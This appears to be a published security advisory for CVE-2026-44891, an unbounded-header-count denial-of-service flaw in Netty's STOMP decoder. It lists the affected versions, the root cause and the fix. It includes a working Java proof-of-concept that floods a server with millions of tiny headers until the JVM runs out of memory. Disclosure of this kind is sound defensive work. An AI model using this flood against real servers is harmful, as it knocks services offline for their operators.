high · 7.5CVE-2026-44891Jul 14, 2026

CVE-2026-44891: netty-codec-stomp Unbounded Header Count DoS

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

Netty's STOMP decoder accepts an unlimited number of headers per frame, so an attacker can flood a server with tiny headers until the JVM runs out of memory and crashes.

Packageio.netty:netty-codec-stomp
Ecosystemmaven
Affected>= 4.2.0.Alpha1, <= 4.2.15.Final
Fixed in4.2.16.Final

The problem

StompSubframeDecoder enforces a per-line length limit via maxLineLength, but imposes no cap on the total number of headers accumulated inside a single STOMP frame.

An unauthenticated remote attacker can stream millions of short headers (e.g., a:1) in one CONNECT frame. Each header is appended to a DefaultStompHeadersSubframe in memory with no eviction, eventually triggering an OutOfMemoryError and killing the JVM process.

Proof of concept

A working proof-of-concept for CVE-2026-44891 in io.netty:netty-codec-stomp, with the exact payload below.

java
// Client: open a raw TCP socket to the Netty STOMP server and write:
// 1. A STOMP command line
// 2. An unbounded stream of minimal headers

try (Socket socket = new Socket("127.0.0.1", 8080)) {
    OutputStream out = socket.getOutputStream();

    // Begin a STOMP frame — no terminating blank line yet, so the
    // decoder stays in READING_HEADERS state and keeps accumulating.
    out.write("CONNECT\n".getBytes(StandardCharsets.UTF_8));

    // Each iteration writes 1 000 x "a:1\n" (4 bytes each = 4 KB per batch)
    StringBuilder sb = new StringBuilder();
    for (int i = 0; i < 1000; i++) {
        sb.append("a:1\n");
    }
    byte[] bulkHeaders = sb.toString().getBytes(StandardCharsets.UTF_8);

    // 50 000 batches * 4 KB = ~200 MB of header data, no backpressure
    for (int i = 1; i <= 50_000; i++) {
        out.write(bulkHeaders);
    }
}

The decoder never transitions out of the READING_HEADERS state until it sees a blank line (\n\n). Every header line parsed is added to the in-memory DefaultStompHeadersSubframe without any counter or size guard.

The fix in 4.2.16.Final introduces a maxHeaders constructor parameter (mirroring the existing maxHeaderSize pattern in HTTP decoders). After the limit is reached, the decoder throws a TooLongFrameException and closes the connection instead of continuing to accumulate.

Root cause is CWE-770 (Allocation of Resources Without Limits or Throttling) combined with CWE-400 (Uncontrolled Resource Consumption).

The fix

Upgrade io.netty:netty-codec-stomp to 4.2.16.Final (or 4.1.136.Final for the 4.1.x line). The patched StompSubframeDecoder constructor now accepts a maxHeaders argument; the default is set to a safe bounded value. If an immediate upgrade is not possible, place a connection-level rate limiter or byte-count cap in front of any STOMP endpoint.

Reporter not attributed.

References: [1][2]

Related research